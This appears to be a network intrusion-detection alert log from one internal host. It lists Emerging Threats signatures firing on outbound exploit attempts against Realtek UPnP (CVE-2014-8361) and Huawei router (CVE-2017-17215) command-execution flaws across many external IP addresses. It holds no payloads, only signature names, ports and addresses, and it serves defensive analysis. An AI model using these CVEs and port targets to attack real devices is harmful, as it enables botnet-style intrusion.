07/20/24-23:01:25.387257	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	44032	52869	192.168.2.14	84.193.36.239
07/20/24-23:01:34.940230	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37282	52869	192.168.2.14	37.186.199.96
07/20/24-23:01:33.094838	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59016	37215	192.168.2.14	205.237.3.78
07/20/24-23:01:29.173099	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47962	52869	192.168.2.14	17.93.26.147
07/20/24-23:01:13.329548	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48892	52869	192.168.2.14	158.178.147.148
07/20/24-23:01:22.769326	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50564	37215	192.168.2.14	41.174.192.210
07/20/24-23:01:24.078342	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51548	52869	192.168.2.14	54.211.16.108
07/20/24-23:01:24.831419	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37032	52869	192.168.2.14	128.88.211.196
07/20/24-23:01:34.937254	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38308	52869	192.168.2.14	120.128.124.111
07/20/24-23:01:25.301172	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38882	52869	192.168.2.14	118.185.55.220
07/20/24-23:01:34.899681	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33750	52869	192.168.2.14	58.133.29.249
07/20/24-23:01:34.942495	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	54302	52869	192.168.2.14	40.169.74.201
07/20/24-23:01:11.467529	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	56670	37215	192.168.2.14	157.252.104.58
07/20/24-23:01:37.234827	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46912	37215	192.168.2.14	157.227.16.28
07/20/24-23:01:02.415804	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52592	37215	192.168.2.14	41.181.208.214
07/20/24-23:01:29.177783	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	33776	52869	192.168.2.14	105.221.149.154
07/20/24-23:01:33.094838	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47072	37215	192.168.2.14	133.108.16.92
07/20/24-23:01:19.220430	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33148	37215	192.168.2.14	197.160.25.51
07/20/24-23:01:11.465612	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58640	37215	192.168.2.14	197.215.212.184
07/20/24-23:01:37.227353	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43322	37215	192.168.2.14	135.90.47.36
07/20/24-23:01:07.658261	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51348	37215	192.168.2.14	197.140.242.193
07/20/24-23:01:11.480465	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48554	37215	192.168.2.14	197.162.228.45
07/20/24-23:01:13.329793	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	36650	52869	192.168.2.14	146.178.29.63
07/20/24-23:01:33.044521	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51970	37215	192.168.2.14	157.240.42.96
07/20/24-23:01:14.487012	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43432	37215	192.168.2.14	41.101.89.22
07/20/24-23:01:25.013309	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	42876	52869	192.168.2.14	66.23.204.217
07/20/24-23:01:33.040755	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52964	37215	192.168.2.14	41.151.228.42
07/20/24-23:01:05.927305	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33668	37215	192.168.2.14	157.231.97.191
07/20/24-23:01:22.762116	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46496	37215	192.168.2.14	38.8.28.16
07/20/24-23:01:22.790734	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38006	37215	192.168.2.14	41.38.46.171
07/20/24-23:01:02.411076	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49858	37215	192.168.2.14	212.127.34.6
07/20/24-23:01:05.612883	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46400	52869	192.168.2.14	93.255.94.157
07/20/24-23:01:33.069192	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45598	37215	192.168.2.14	157.22.141.151
07/20/24-23:01:37.120542	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33790	37215	192.168.2.14	157.63.61.149
07/20/24-23:01:37.122448	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33920	37215	192.168.2.14	158.162.189.184
07/20/24-23:01:13.331420	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50730	52869	192.168.2.14	209.88.50.174
07/20/24-23:01:02.410932	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45158	37215	192.168.2.14	41.122.12.187
07/20/24-23:01:34.935674	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	59880	52869	192.168.2.14	165.75.84.143
07/20/24-23:01:14.407391	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59428	37215	192.168.2.14	41.76.208.72
07/20/24-23:01:33.060990	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40528	37215	192.168.2.14	157.185.202.209
07/20/24-23:01:31.279890	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	50190	52869	192.168.2.14	210.127.30.24
07/20/24-23:01:11.459583	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35822	37215	192.168.2.14	197.142.54.212
07/20/24-23:01:22.779153	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60040	37215	192.168.2.14	41.1.148.179
07/20/24-23:01:23.056114	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46648	52869	192.168.2.14	4.227.121.101
07/20/24-23:01:24.075920	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59924	52869	192.168.2.14	147.31.96.80
07/20/24-23:01:33.265286	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44314	52869	192.168.2.14	221.142.162.73
07/20/24-23:01:19.235468	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49960	37215	192.168.2.14	121.59.206.189
07/20/24-23:01:28.143794	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35756	37215	192.168.2.14	41.227.1.45
07/20/24-23:01:24.763986	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	46918	52869	192.168.2.14	201.188.111.248
07/20/24-23:01:02.412965	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54236	37215	192.168.2.14	197.164.125.148
07/20/24-23:01:05.895886	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57382	37215	192.168.2.14	41.171.220.22
07/20/24-23:01:19.233961	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60274	37215	192.168.2.14	41.204.106.94
07/20/24-23:01:06.136528	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	43994	52869	192.168.2.14	173.77.175.8
07/20/24-23:01:07.683360	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60906	37215	192.168.2.14	197.178.140.168
07/20/24-23:01:34.940230	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	37282	52869	192.168.2.14	37.186.199.96
07/20/24-23:01:25.291116	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43250	37215	192.168.2.14	41.165.26.56
07/20/24-23:01:28.205022	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50524	37215	192.168.2.14	20.197.184.179
07/20/24-23:01:37.217137	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54070	37215	192.168.2.14	53.194.224.249
07/20/24-23:01:02.410932	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49218	37215	192.168.2.14	197.181.156.3
07/20/24-23:01:13.331537	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47176	52869	192.168.2.14	145.114.175.209
07/20/24-23:01:37.163818	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37760	37215	192.168.2.14	41.215.5.247
07/20/24-23:01:11.461509	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34128	37215	192.168.2.14	197.42.111.185
07/20/24-23:01:33.047902	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45234	37215	192.168.2.14	157.209.2.238
07/20/24-23:01:02.414850	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57400	37215	192.168.2.14	116.213.32.189
07/20/24-23:01:02.415804	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54222	37215	192.168.2.14	42.255.69.128
07/20/24-23:01:14.397897	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52098	37215	192.168.2.14	41.190.193.166
07/20/24-23:01:19.225050	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50892	37215	192.168.2.14	197.117.43.22
07/20/24-23:01:05.905239	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54410	37215	192.168.2.14	197.1.252.213
07/20/24-23:01:14.397786	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36212	37215	192.168.2.14	197.120.80.178
07/20/24-23:01:34.923386	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51740	52869	192.168.2.14	210.127.30.24
07/20/24-23:01:37.231056	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48258	37215	192.168.2.14	202.19.178.110
07/20/24-23:01:37.222600	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43604	37215	192.168.2.14	157.13.38.77
07/20/24-23:01:31.120003	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34428	52869	192.168.2.14	69.185.156.127
07/20/24-23:01:34.034865	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52832	52869	192.168.2.14	19.75.81.79
07/20/24-23:01:34.909156	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47934	52869	192.168.2.14	53.20.227.219
07/20/24-23:01:11.485692	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46034	37215	192.168.2.14	70.40.225.76
07/20/24-23:01:24.732777	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59754	52869	192.168.2.14	43.140.238.166
07/20/24-23:01:05.803717	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	43400	52869	192.168.2.14	116.111.12.206
07/20/24-23:01:07.679354	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35338	37215	192.168.2.14	157.125.212.107
07/20/24-23:01:37.121494	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33238	37215	192.168.2.14	157.0.146.131
07/20/24-23:01:13.333101	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37970	52869	192.168.2.14	60.68.1.166
07/20/24-23:01:19.220942	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56562	37215	192.168.2.14	157.81.216.185
07/20/24-23:01:19.233961	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42368	37215	192.168.2.14	157.20.113.95
07/20/24-23:01:22.769326	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56428	37215	192.168.2.14	157.188.161.188
07/20/24-23:01:37.167957	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39740	37215	192.168.2.14	157.117.59.219
07/20/24-23:01:19.231228	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54842	37215	192.168.2.14	126.196.232.72
07/20/24-23:01:05.908608	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33288	37215	192.168.2.14	197.24.155.216
07/20/24-23:01:37.227564	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45382	37215	192.168.2.14	197.192.99.53
07/20/24-23:01:37.191093	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47088	37215	192.168.2.14	157.106.59.24
07/20/24-23:01:02.411644	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57200	37215	192.168.2.14	157.20.249.180
07/20/24-23:01:19.227177	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48994	37215	192.168.2.14	157.23.93.160
07/20/24-23:01:37.160288	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36550	37215	192.168.2.14	41.211.28.93
07/20/24-23:01:33.044521	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52612	37215	192.168.2.14	41.89.225.177
07/20/24-23:01:07.204640	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42512	52869	192.168.2.14	130.190.186.142
07/20/24-23:01:25.230441	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49964	37215	192.168.2.14	197.126.180.16
07/20/24-23:01:22.988072	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	42048	52869	192.168.2.14	39.28.170.200
07/20/24-23:01:02.414851	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42126	37215	192.168.2.14	41.27.117.169
07/20/24-23:01:02.414528	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48024	37215	192.168.2.14	197.62.166.112
07/20/24-23:01:14.397565	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38968	37215	192.168.2.14	157.245.45.161
07/20/24-23:01:28.195717	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	32778	37215	192.168.2.14	197.202.168.225
07/20/24-23:01:25.283485	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	56380	37215	192.168.2.14	131.159.1.125
07/20/24-23:01:11.480465	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45266	37215	192.168.2.14	208.94.156.231
07/20/24-23:01:34.899753	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	41492	52869	192.168.2.14	84.149.17.30
07/20/24-23:01:33.395838	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58564	52869	192.168.2.14	59.201.11.124
07/20/24-23:01:34.902376	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57374	52869	192.168.2.14	66.217.163.116
07/20/24-23:01:28.208110	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60824	37215	192.168.2.14	157.218.188.73
07/20/24-23:01:30.858584	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45332	52869	192.168.2.14	135.89.106.236
07/20/24-23:01:25.294369	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38264	37215	192.168.2.14	197.150.224.16
07/20/24-23:01:02.405571	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53616	37215	192.168.2.14	153.57.57.9
07/20/24-23:01:11.461509	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53392	37215	192.168.2.14	41.27.201.243
07/20/24-23:01:11.485692	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44478	37215	192.168.2.14	157.93.39.165
07/20/24-23:01:14.399761	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58060	37215	192.168.2.14	41.85.14.252
07/20/24-23:01:02.412914	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45842	37215	192.168.2.14	41.117.226.58
07/20/24-23:01:33.740102	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55578	52869	192.168.2.14	61.27.5.72
07/20/24-23:01:07.668267	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34962	37215	192.168.2.14	197.32.220.2
07/20/24-23:01:22.792727	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36880	37215	192.168.2.14	197.7.12.7
07/20/24-23:01:25.293652	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51798	37215	192.168.2.14	186.175.120.220
07/20/24-23:01:33.047902	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35796	37215	192.168.2.14	74.251.145.25
07/20/24-23:01:07.672294	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39986	37215	192.168.2.14	125.4.32.65
07/20/24-23:01:23.163830	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34758	52869	192.168.2.14	107.71.221.19
07/20/24-23:01:05.911929	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47550	37215	192.168.2.14	221.232.156.2
07/20/24-23:01:13.332043	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	51952	52869	192.168.2.14	222.15.221.37
07/20/24-23:01:14.398477	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54468	37215	192.168.2.14	157.254.159.91
07/20/24-23:01:22.790734	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33412	37215	192.168.2.14	156.111.172.13
07/20/24-23:01:05.911929	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53528	37215	192.168.2.14	197.38.231.171
07/20/24-23:01:25.379837	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	60940	52869	192.168.2.14	47.157.17.225
07/20/24-23:01:05.895933	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39734	37215	192.168.2.14	157.156.34.177
07/20/24-23:01:14.398477	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51596	37215	192.168.2.14	175.88.111.112
07/20/24-23:01:05.450414	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60168	52869	192.168.2.14	31.235.249.101
07/20/24-23:01:29.528866	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	56818	52869	192.168.2.14	1.119.230.113
07/20/24-23:01:22.769326	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35048	37215	192.168.2.14	157.243.189.163
07/20/24-23:01:33.068258	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55566	37215	192.168.2.14	80.163.154.51
07/20/24-23:01:02.408227	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42576	37215	192.168.2.14	197.24.4.235
07/20/24-23:01:05.863035	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36548	52869	192.168.2.14	72.184.169.139
07/20/24-23:01:13.332043	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47612	52869	192.168.2.14	172.76.44.174
07/20/24-23:01:34.909156	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	44846	52869	192.168.2.14	170.186.56.154
07/20/24-23:01:37.222600	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48144	37215	192.168.2.14	197.141.233.106
07/20/24-23:01:29.169782	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60376	52869	192.168.2.14	164.82.176.136
07/20/24-23:01:05.898214	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56692	37215	192.168.2.14	41.116.209.33
07/20/24-23:01:22.792913	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42134	37215	192.168.2.14	157.83.248.176
07/20/24-23:01:25.230811	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54042	37215	192.168.2.14	41.113.14.57
07/20/24-23:01:13.329204	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	51164	52869	192.168.2.14	82.86.85.182
07/20/24-23:01:07.664911	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59668	37215	192.168.2.14	157.132.3.133
07/20/24-23:01:11.480465	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53330	37215	192.168.2.14	197.92.6.120
07/20/24-23:01:25.192001	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54532	52869	192.168.2.14	174.134.90.178
07/20/24-23:01:19.236523	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45648	37215	192.168.2.14	197.209.139.222
07/20/24-23:01:02.411166	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37174	37215	192.168.2.14	52.155.86.86
07/20/24-23:01:02.416600	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38644	37215	192.168.2.14	199.67.163.62
07/20/24-23:01:19.222378	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35444	37215	192.168.2.14	35.247.69.244
07/20/24-23:01:14.406961	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47792	37215	192.168.2.14	41.64.20.138
07/20/24-23:01:33.069192	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47904	37215	192.168.2.14	41.220.236.131
07/20/24-23:01:34.214142	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	42082	52869	192.168.2.14	74.8.125.187
07/20/24-23:01:14.407391	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	32932	37215	192.168.2.14	221.153.174.51
07/20/24-23:01:11.459583	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52674	37215	192.168.2.14	197.80.3.152
07/20/24-23:01:34.965835	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	54264	52869	192.168.2.14	150.10.126.44
07/20/24-23:01:25.289824	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48176	37215	192.168.2.14	197.114.222.113
07/20/24-23:01:37.217137	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51432	37215	192.168.2.14	157.255.196.103
07/20/24-23:01:33.871572	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	32882	52869	192.168.2.14	151.151.89.112
07/20/24-23:01:11.456952	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53694	37215	192.168.2.14	197.0.25.126
07/20/24-23:01:19.335313	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53532	37215	192.168.2.14	79.74.188.78
07/20/24-23:01:07.682290	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47046	37215	192.168.2.14	197.145.165.222
07/20/24-23:01:28.219332	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39144	37215	192.168.2.14	41.246.243.194
07/20/24-23:01:11.454991	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47518	37215	192.168.2.14	157.0.122.122
07/20/24-23:01:33.038711	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43518	37215	192.168.2.14	158.154.180.60
07/20/24-23:01:19.334353	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49900	37215	192.168.2.14	197.200.133.33
07/20/24-23:01:33.260590	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	57050	52869	192.168.2.14	76.61.195.47
07/20/24-23:01:13.334111	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	49022	52869	192.168.2.14	211.247.22.129
07/20/24-23:01:22.995297	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	47324	52869	192.168.2.14	149.126.253.193
07/20/24-23:01:13.335233	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40286	52869	192.168.2.14	173.171.125.50
07/20/24-23:01:33.036114	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50194	37215	192.168.2.14	85.30.219.131
07/20/24-23:01:25.291116	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56256	37215	192.168.2.14	41.157.22.213
07/20/24-23:01:29.172557	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	43476	52869	192.168.2.14	66.23.204.217
07/20/24-23:01:33.030188	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50170	37215	192.168.2.14	147.66.15.3
